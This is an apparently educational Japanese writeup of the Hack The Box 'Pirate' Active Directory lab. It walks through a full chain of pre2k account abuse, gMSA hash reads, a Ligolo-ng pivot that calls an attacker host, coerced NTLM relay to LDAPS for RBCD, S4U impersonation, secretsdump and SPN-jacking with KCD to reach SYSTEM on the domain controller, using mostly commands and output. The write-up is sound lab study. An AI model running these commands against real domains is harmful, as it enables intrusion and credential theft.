コンテンツにスキップ

HTB Pirate writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

Pirate は Active Directory の列挙結果を読み解き、pre-created computer account、gMSA、NTLM relay、RBCD、S4U、WriteSPN を順につなぐ Windows Hard box でした。初期資格情報 pentest / p3nt3st2025!& から MS01$ の pre-Windows 2000 computer account を取得し、gMSA の NTLM hash を読み出して DC01 に WinRM 接続します。その後 Ligolo-ng で内部セグメントへ pivot し、WEB01$ の NTLM を LDAPS に relay して RBCD を設定、WEB01 上の local Administrator 権限を取得します。最後は a.white -> a.white_adm -> IT -> WriteSPN の BloodHound path を使い、SPN-jacking と KCD を組み合わせて DC01 に NT AUTHORITY\SYSTEM として到達しました。

ItemValue
BoxPirate
PlatformHack The Box
OSWindows
DifficultyHard
pentest
|
| LDAP/SMB enumeration
v
MS01$ pre-created computer account
| password pattern: ms01
| memberOf: Domain Secure Servers
v
read gMSA managed passwords
|
+--> gMSA_ADCS_prod$ NTLM
|
| WinRM to DC01
v
foothold on DC01
|
| Ligolo-ng route to 192.168.100.0/24
v
WEB01 reachable
|
| Coerce WEB01$ SMB auth -> ntlmrelayx -> LDAPS
v
RBCD on WEB01$: MS01$ can impersonate users
|
| S4U2self + S4U2Proxy
v
WEB01 local Administrator / NT AUTHORITY\SYSTEM
|
| secretsdump: a.white plaintext password
v
a.white
|
| ForceChangePassword
v
a.white_adm
|
| IT group WriteSPN on WEB01/DC01
| SPN-jacking HTTP/WEB01* from WEB01$ to DC01$
| KCD + altservice cifs
v
DC01 NT AUTHORITY\SYSTEM
ItemValue
Domainpirate.htb
DCDC01.pirate.htb
Initial userpentest
Internal hostWEB01.pirate.htb = 192.168.100.2

HTB の再起動で外向きの DC IP は変わりました。以下では外向き DC IP を <DC_IP> と表記します。ログ上では 10.129.244.95 と 10.129.23.246 の両方が使われています。

/etc/hosts には少なくとも次を追加します。

<DC_IP> DC01.pirate.htb pirate.htb DC01

最初の full port scan は次です。

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 <DC_IP> -oN pirate.nmap

重要な出力は以下です。

53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds?
636/tcp open ssl/ldap
3268/tcp open ldap
3269/tcp open ssl/ldap
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows
smb2-security-mode: Message signing enabled and required
clock-skew: mean: 7h00m01s

ここで見るべき点は次です。

  • 88/389/445/636/3268/3269 があり、AD domain controller として扱う。
  • 5985 が開いているため、取れた資格情報は WinRM で試す。
  • SMB signing は required なので、SMB で受けた NTLM を LDAP に relay する経路は失敗しやすい。
  • LDAP/LDAPS があるため、LDAP signing / channel binding、AD object 権限、gMSA、delegation を重点的に見る。
  • Kerberos を使うので時刻ずれは修正しておく。

初期資格情報は pentest / p3nt3st2025!& です。まず SMB/LDAP/WinRM の到達性を確認します。

ターミナルウィンドウ
nxc ldap pirate.htb -u pentest -p 'p3nt3st2025!&'
nxc winrm pirate.htb -u pentest -p 'p3nt3st2025!&'
LDAP [+] pirate.htb\pentest:p3nt3st2025!&
WINRM [-] pirate.htb\pentest:p3nt3st2025!&

pentest は LDAP/SMB には使えますが、WinRM shell は取れません。

SMB と LDAP で users/groups/computers を列挙します。

ターミナルウィンドウ
nxc smb pirate.htb -u pentest -p 'p3nt3st2025!&' --shares --users --groups --computers --rid-brute
nxc ldap pirate.htb -u pentest -p 'p3nt3st2025!&' --groups --computers
Share Permissions
IPC$ READ
NETLOGON READ
SYSVOL READ
Users:
Administrator
a.white_adm
a.white
pentest
j.sparrow
Computers:
DC01$
WEB01$
MS01$
EXCH01$
gMSA_ADCS_prod$
gMSA_ADFS_prod$

LDAP の security 設定も重要です。

LDAP signing: None
channel binding: Never
SMB signing: True

LDAP は relay 先として弱い一方、SMB signing required のため「SMB で受けた NTLM がそのまま LDAP relay できる」とは限りません。後で WEB01$ の SMB relay が成立するまで、DC01$ に対する relay は rabbit hole になります。

BloodHound/RustHound と LDAP の結果から、以下の関係が見えます。

ターミナルウィンドウ
ldapsearch -LLL \
-H ldap://DC01.pirate.htb \
-D 'pentest@pirate.htb' \
-w 'p3nt3st2025!&' \
-b 'DC=pirate,DC=htb' \
'(|(cn=Remote Management Users)(cn=IT)(cn=Domain Secure Servers)(cn=Group Policy Creator Owners))' \
cn member memberOf description
dn: CN=IT,CN=Users,DC=pirate,DC=htb
member: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
dn: CN=Domain Secure Servers,CN=Users,DC=pirate,DC=htb
member: CN=MS01,CN=Computers,DC=pirate,DC=htb
dn: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb
member: CN=gMSA_ADFS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb
member: CN=gMSA_ADCS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb

gMSA object も確認します。

ターミナルウィンドウ
ldapsearch -LLL \
-H ldap://DC01.pirate.htb \
-D 'pentest@pirate.htb' \
-w 'p3nt3st2025!&' \
-b 'DC=pirate,DC=htb' \
'(objectClass=msDS-GroupManagedServiceAccount)' \
sAMAccountName memberOf servicePrincipalName msDS-GroupMSAMembership
dn: CN=gMSA_ADCS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb
sAMAccountName: gMSA_ADCS_prod$
dn: CN=gMSA_ADFS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb
sAMAccountName: gMSA_ADFS_prod$
servicePrincipalName: host/adfs.pirate.htb

msDS-GroupMSAMembership は gMSA の managed password を読める主体を示します。SID の RID を引くと Domain Secure Servers でした。

ターミナルウィンドウ
lookupsid.py 'pirate.htb/pentest:p3nt3st2025!&@DC01.pirate.htb' 5000 | grep 4101
4101: PIRATE\Domain Secure Servers (SidTypeGroup)

つまり MS01$ -> Domain Secure Servers -> gMSA password read -> Remote Management Users という経路が見えます。

さらに、a.white_adm は constrained delegation with protocol transition を持っていました。

ターミナルウィンドウ
findDelegation.py -dc-ip <DC_IP> 'pirate.htb/pentest:p3nt3st2025!&'
AccountName AccountType DelegationType DelegationRightsTo
DC01$ Computer Unconstrained N/A
a.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htb
a.white_adm Person Constrained w/ Protocol Transition HTTP/WEB01

この時点では a.white_adm の password はありませんが、後で a.white から password reset できるため、最終段の重要な伏線になります。

MS01$ は Domain Secure Servers の member で、gMSA password を読める位置にいます。ここで pre2k module を実行すると、pre-created computer account が見つかります。

ターミナルウィンドウ
nxc ldap pirate.htb -u pentest -p 'p3nt3st2025!&' -M pre2k
PRE2K Pre-created computer account: MS01$
PRE2K Pre-created computer account: EXCH01$
PRE2K Successfully obtained TGT for ms01@pirate.htb
PRE2K Successfully obtained TGT for exch01@pirate.htb

pre-created computer account は、初期 password が小文字ホスト名になることがあります。MS01$ なら ms01 です。これで MS01$ として LDAP に認証できます。

ターミナルウィンドウ
export KRB5CCNAME=ms01.ccache
netexec ldap DC01.pirate.htb \
-u 'MS01$' \
-p 'ms01' \
-d pirate.htb \
--gmsa \
-k
LDAP [+] pirate.htb\MS01$:ms01
LDAP Account: gMSA_ADCS_prod$ NTLM: 8e142bbd224b307f3cb31752b29f4893
LDAP Account: gMSA_ADFS_prod$ NTLM: 30e4066182bb2c81dcd950b2fbb16564

gMSA_ADCS_prod$ は Remote Management Users に所属しており、DC01 の WinRM に入れます。

ターミナルウィンドウ
evil-winrm-py -i pirate.htb \
-u 'gMSA_ADCS_prod$' \
-H '8e142bbd224b307f3cb31752b29f4893'
[*] Connecting to 'pirate.htb:5985' as 'gMSA_ADCS_prod$'
evil-winrm-py PS C:\Users\gMSA_ADCS_prod$\Documents>

ここで得た shell は DC01 上の低権限 foothold ですが、内部ネットワークに pivot するには十分です。

DNS から WEB01.pirate.htb は内部 IP を持つことがわかります。

ターミナルウィンドウ
dig @<DC_IP> WEB01.pirate.htb
dig @<DC_IP> DC01.pirate.htb
WEB01.pirate.htb. 1200 IN A 192.168.100.2
DC01.pirate.htb. 3600 IN A 192.168.100.1

DC01 に Ligolo-ng agent を置き、attacker 側で TUN を作ります。

ターミナルウィンドウ
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

DC01 上で agent を実行します。

ターミナルウィンドウ
.\agent.exe -connect <ATTACKER_VPN_IP>:11601 -ignore-cert

Ligolo-ng proxy 側で session を選び、tunnel を開始した後に route を追加します。ここでは Linux 側で route を追加していますが、Ligolo-ng v0.6 以降では interface_create / route_add で Ligolo-ng 側に管理させる方法も使えます。

ターミナルウィンドウ
sudo ip route add 192.168.100.0/24 dev ligolo
ping 192.168.100.2

Ligolo-ng 側で管理する場合は、proxy console で次のように作成します。この方式では上の ip tuntap add と ip route add は使わず、作成と削除を Ligolo-ng 側に寄せます。

interface_create --name ligolo
route_add --name ligolo --route 192.168.100.0/24
tunnel_start --tun ligolo
64 bytes from 192.168.100.2: icmp_seq=1 ttl=64

これで attacker から WEB01 に到達できます。

目的は、WEB01$ の NTLM authentication を attacker に向けさせ、LDAPS の DC01 に relay して、WEB01$ に RBCD を書くことです。ntlmrelayx の --delegate-access --escalate-user 'MS01$' は、relay された WEB01$ の権限で msDS-AllowedToActOnBehalfOfOtherIdentity を更新し、MS01$ が WEB01 に対して S4U2Proxy できるようにします。

最初に HTTP/WebDAV callback も試しましたが、WEB01 -> DC01:8080 方向の callback が出ず失敗しました。最終的には SMB callback を attacker VPN IP に直接向ける形で成功しました。

relay listener を起動します。

ターミナルウィンドウ
sudo env "PATH=$PATH" ntlmrelayx.py \
-t ldaps://dc01.pirate.htb \
--delegate-access \
--escalate-user 'MS01$' \
-smb2support \
--remove-mic

別 terminal で WEB01 に coercion を撃ちます。-l は attacker の現在の VPN IP を指定します。

ターミナルウィンドウ
coercer coerce \
-u 'gMSA_ADCS_prod$' \
--hashes ':8e142bbd224b307f3cb31752b29f4893' \
-d pirate.htb \
-l <ATTACKER_VPN_IP> \
-t 192.168.100.2 \
--always-continue

成功時の ntlmrelayx 出力です。

(SMB): Authenticating connection from PIRATE/WEB01$@<DC_IP> against ldaps://dc01.pirate.htb SUCCEED
ldaps://PIRATE/WEB01$@dc01.pirate.htb -> Delegation rights modified succesfully!
ldaps://PIRATE/WEB01$@dc01.pirate.htb -> MS01$ can now impersonate users on WEB01$ via S4U2Proxy

S4U2Proxy は、service account が別ユーザーを代理して別サービスの ticket を得る Kerberos 拡張です。ここでは MS01$ が Administrator を代理して cifs/WEB01.pirate.htb の ticket を取得できる状態になりました。

MS01$ の password は ms01 です。まず TGT を取り、その TGT を使って WEB01 用の service ticket を取得します。

ターミナルウィンドウ
getTGT.py pirate.htb/'MS01$':'ms01' -dc-ip <DC_IP>
export KRB5CCNAME='MS01$.ccache'
getST.py pirate.htb/'MS01$' \
-spn 'cifs/WEB01.pirate.htb' \
-impersonate Administrator \
-dc-ip <DC_IP> \
-k -no-pass
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

この ticket を使って WEB01 に psexec.py で入れます。

ターミナルウィンドウ
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
psexec.py -k -no-pass \
-target-ip 192.168.100.2 \
WEB01.pirate.htb
[*] Found writable share ADMIN$
[*] Starting service ...
Microsoft Windows [Version 10.0.17763.8385]
C:\WINDOWS\system32> whoami
nt authority\system

WEB01 の local SAM/LSA secrets も dump できます。時間はかかりましたが、a.white の plaintext password が取れました。

ターミナルウィンドウ
secretsdump.py -k -no-pass \
-target-ip 192.168.100.2 \
WEB01.pirate.htb \
-debug
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
PIRATE\a.white:E2nvAOKSz5Xz2MJu

WEB01 local Administrator hash で WinRM し、user flag を読みます。

ターミナルウィンドウ
evil-winrm-py -i 192.168.100.2 \
-u 'Administrator' \
-H 'b1aac1584c2ea8ed0a9429684e4fc3e5'
ターミナルウィンドウ
type C:\Users\a.white\Desktop\user.txt
[REDACTED]

WEB01\Administrator は WEB01 の local Administrator です。domain の PIRATE\Administrator とは別物なので、この段階では root flag には届きません。

secretsdump で得た a.white の password を使うと、BloodHound 上で次の path が実行可能になります。

a.white
-> ForceChangePassword
a.white_adm
-> MemberOf IT
IT
-> WriteSPN on EXCH01, MS01, WEB01, DC01
a.white_adm
-> KCD to HTTP/WEB01 and HTTP/WEB01.pirate.htb

まず a.white で a.white_adm の password を変更します。

ターミナルウィンドウ
bloodyAD \
-u 'a.white' \
-p 'E2nvAOKSz5Xz2MJu' \
-d pirate.htb \
--host <DC_IP> \
set password 'a.white_adm' 'Pwned123!'
[+] Password changed successfully!

これで a.white_adm として LDAP modify と Kerberos S4U が使えます。

WriteSPN は servicePrincipalName attribute を変更できる権限です。単に SPN を足して Kerberoast するだけでなく、既存の delegation 設定と組み合わせると SPN-jacking ができます。

ここでの考え方は次です。

  • a.white_adm は HTTP/WEB01 / HTTP/WEB01.pirate.htb に KCD できます。
  • IT は WEB01$ と DC01$ に WriteSPN を持ちます。
  • HTTP/WEB01* を WEB01$ から削除し、DC01$ に追加します。
  • KDC は HTTP/WEB01.pirate.htb を DC01$ の SPN として解決するため、DC01 が復号できる ticket を発行します。
  • getST.py -altservice cifs で service class を HTTP から cifs に変更し、SMB 管理系に使います。

まず LDIF を作ります。

ターミナルウィンドウ
tee spnjack.ldif >/dev/null <<'EOF'
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
changetype: modify
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01
servicePrincipalName: HTTP/WEB01.pirate.htb
-
dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
changetype: modify
add: servicePrincipalName
servicePrincipalName: HTTP/WEB01
servicePrincipalName: HTTP/WEB01.pirate.htb
-
EOF

LDAP modify を実行します。

ターミナルウィンドウ
ldapmodify -x -H ldap://dc01.pirate.htb \
-D 'a.white_adm@pirate.htb' \
-w 'Pwned123!' \
-f spnjack.ldif
modifying entry "CN=WEB01,CN=Computers,DC=pirate,DC=htb"
modifying entry "CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb"

確認します。

ターミナルウィンドウ
ldapsearch -LLL -x -H ldap://dc01.pirate.htb \
-D 'a.white_adm@pirate.htb' \
-w 'Pwned123!' \
-b 'DC=pirate,DC=htb' \
'(|(sAMAccountName=WEB01$)(sAMAccountName=DC01$))' servicePrincipalName
dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
servicePrincipalName: HTTP/WEB01.pirate.htb
servicePrincipalName: HTTP/WEB01
...
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
servicePrincipalName: tapinego/WEB01
servicePrincipalName: WSMAN/WEB01
servicePrincipalName: HOST/WEB01.pirate.htb
servicePrincipalName: TERMSRV/WEB01

古い ccache を使わないようにしてから ticket を取り直します。

ターミナルウィンドウ
unset KRB5CCNAME
getST.py 'pirate.htb/a.white_adm:Pwned123!' \
-spn 'HTTP/WEB01.pirate.htb' \
-impersonate Administrator \
-altservice cifs \
-dc-ip <DC_IP>
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to cifs/WEB01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

接続先 IP は DC01 ですが、接続先名は ticket の SPN に合わせて WEB01.pirate.htb のままにします。

ターミナルウィンドウ
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
psexec.py -k -no-pass \
-target-ip <DC_IP> \
WEB01.pirate.htb
[*] Requesting shares on <DC_IP>.....
[*] Found writable share ADMIN$
[*] Starting service ...
Microsoft Windows [Version 10.0.17763.8385]
C:\Windows\system32> whoami
nt authority\system

root flag を取得します。

ターミナルウィンドウ
type C:\Users\Administrator\Desktop\root.txt
[REDACTED]
  • AD CS は証明書テンプレートや CA 権限が多く見えましたが、certipy find -vulnerable で直線的な ESC path は見えませんでした。
  • DC01$ の coercion は成功しましたが、SMB signing required の影響で LDAP/LDAPS relay は通りませんでした。
  • HTTP/WebDAV relay は \\192.168.100.1@8080\... や \\DC01.pirate.htb@8080\... の形を試しましたが、WEB01 から HTTP callback が出ず、ntlmrelayx に connection が来ませんでした。
  • a.white_adm の Kerberoast hash は取得できましたが、rockyou と rule では割れませんでした。Muffin は候補表示であり password ではありませんでした。
  • secretsdump.py は Ligolo 経由でかなり遅く見えましたが、最終的には SAM/LSA secrets を取得できました。

以下は環境を戻すなら削除・復元します。

  • ntlmrelayx によって WEB01$ に追加された RBCD: msDS-AllowedToActOnBehalfOfOtherIdentity
  • a.white_adm の password reset: Pwned123!
  • SPN-jacking で移した SPN:
    • DC01$ から HTTP/WEB01, HTTP/WEB01.pirate.htb を削除
    • WEB01$ に HTTP/WEB01, HTTP/WEB01.pirate.htb を戻す
  • psexec.py が作成した一時 service / uploaded executable

Ligolo-ng 関連は、target 側 agent、proxy 側 listener、tunnel、Linux route、TUN interface をそれぞれ戻します。今回使った listener は 192.168.100.1:8080 -> 127.0.0.1:8080、route は 192.168.100.0/24 dev ligolo です。172.16.7.0/24 を追加していた場合はそれも削除します。

Ligolo-ng proxy の interactive console では、まず listener と tunnel を停止します。

listener_list
listener_stop 0
tunnel_list
stop

listener_stop 0 の 0 は listener_list に出る listener ID に合わせます。複数 listener を作った場合は全て停止します。

attacker 側 Linux では、route と TUN interface を削除します。

ターミナルウィンドウ
ip route show dev ligolo
sudo ip route del 192.168.100.0/24 dev ligolo
sudo ip route del 172.16.7.0/24 dev ligolo 2>/dev/null || true
sudo ip addr flush dev ligolo
sudo ip link set ligolo down
sudo ip tuntap del mode tun ligolo

Ligolo-ng の route_add / interface_create で管理した場合は、Ligolo-ng console 側でも削除します。

route_del --name ligolo --route 192.168.100.0/24
route_del --name ligolo --route 172.16.7.0/24
interface_delete --name ligolo

target 側では agent process と uploaded binary を削除します。

ターミナルウィンドウ
Get-Process agent -ErrorAction SilentlyContinue | Stop-Process -Force
Remove-Item 'C:\Users\gMSA_ADCS_prod$\Documents\agent.exe' -Force

最後に、attacker 側で proxy や relay の待受が残っていないことを確認します。

ターミナルウィンドウ
sudo ss -ltnp | grep -E ':(80|445|8080|11601)\b' || true

SPN 復元用 LDIF の例です。

dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
changetype: modify
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01
servicePrincipalName: HTTP/WEB01.pirate.htb
-
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
changetype: modify
add: servicePrincipalName
servicePrincipalName: HTTP/WEB01
servicePrincipalName: HTTP/WEB01.pirate.htb
-

復元 LDIF を適用します。

ターミナルウィンドウ
ldapmodify -x -H ldap://dc01.pirate.htb \
-D 'a.white_adm@pirate.htb' \
-w 'Pwned123!' \
-f restore-spn.ldif

RBCD を戻す場合は、WEB01$ の msDS-AllowedToActOnBehalfOfOtherIdentity から MS01$ の ACE を削除します。検証環境では machine reset で戻せますが、手動で戻すなら BloodHound/LDAP tool で現在値を控えてから対象 ACE だけを消します。

TypeValue
Initial credentialpirate.htb\pentest : p3nt3st2025!&
Pre-created computerMS01$ : ms01
Pre-created computerEXCH01$ : exch01
gMSA NTLMgMSA_ADCS_prod$ : 8e142bbd224b307f3cb31752b29f4893
gMSA NTLMgMSA_ADFS_prod$ : 30e4066182bb2c81dcd950b2fbb16564
WEB01 local Administrator NTLMb1aac1584c2ea8ed0a9429684e4fc3e5
WEB01 machine NTLMfeba09cf0013fbf5834f50def734bca9
Domain user plaintextPIRATE\a.white : E2nvAOKSz5Xz2MJu
Reset passwordPIRATE\a.white_adm : Pwned123!
User flag pathC:\Users\a.white\Desktop\user.txt
User flag[REDACTED]
Root flag pathC:\Users\Administrator\Desktop\root.txt
Root flag[REDACTED]

主な ticket / artifact は次です。

  • ms01.ccache
  • MS01$.ccache
  • Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
  • spnjack.ldif
  • kerberoast.hash
  • AD 初期列挙: users, groups, computers, shares, LDAP attributes, delegation, BloodHound path の読み方
  • pre-Windows 2000 computer account: pre-created computer account の初期 password pattern
  • gMSA: msDS-GroupMSAMembership と managed password read 権限
  • NTLM relay: Coercer で machine account authentication を誘発し、ntlmrelayx で LDAPS に relay する流れ
  • RBCD: msDS-AllowedToActOnBehalfOfOtherIdentity により service account が target host に対して S4U2Proxy できる意味
  • Kerberos S4U: S4U2self と S4U2Proxy による impersonation
  • Ligolo-ng: compromised host から内部 network へ route する pivot
  • WriteSPN / SPN-jacking: servicePrincipalName の移動により KCD の宛先を別 host に向ける手法
  • ldapmodify: AD object attribute を add/delete/replace するための LDAP modify operation
  • hashcat rules: wordlist の候補に大文字化、数字追加、記号追加などの変形を適用する仕組み

この box は「怪しい機能が多い AD」で、最短経路は exploit ではなく object relationship の読み解きでした。特に MS01$ の異常値を早く拾えるかが大きく、Domain Secure Servers、gMSA read、pre2k を結びつける力が問われます。

relay については、Coercer のエラー表示だけで失敗と決めず、ntlmrelayx 側に目的の machine account が来たかを見るのが重要でした。また -l は「target が接続し返せる attacker 側アドレス」を指す必要があります。

最後の WriteSPN は、単なる Kerberoast ではなく KCD と組み合わせて SPN をすり替える発想が必要でした。WEB01.pirate.htb という名前で DC01 に接続する違和感を、Kerberos の service ticket と SPN 解決の仕組みで説明できるようにしておきたいです。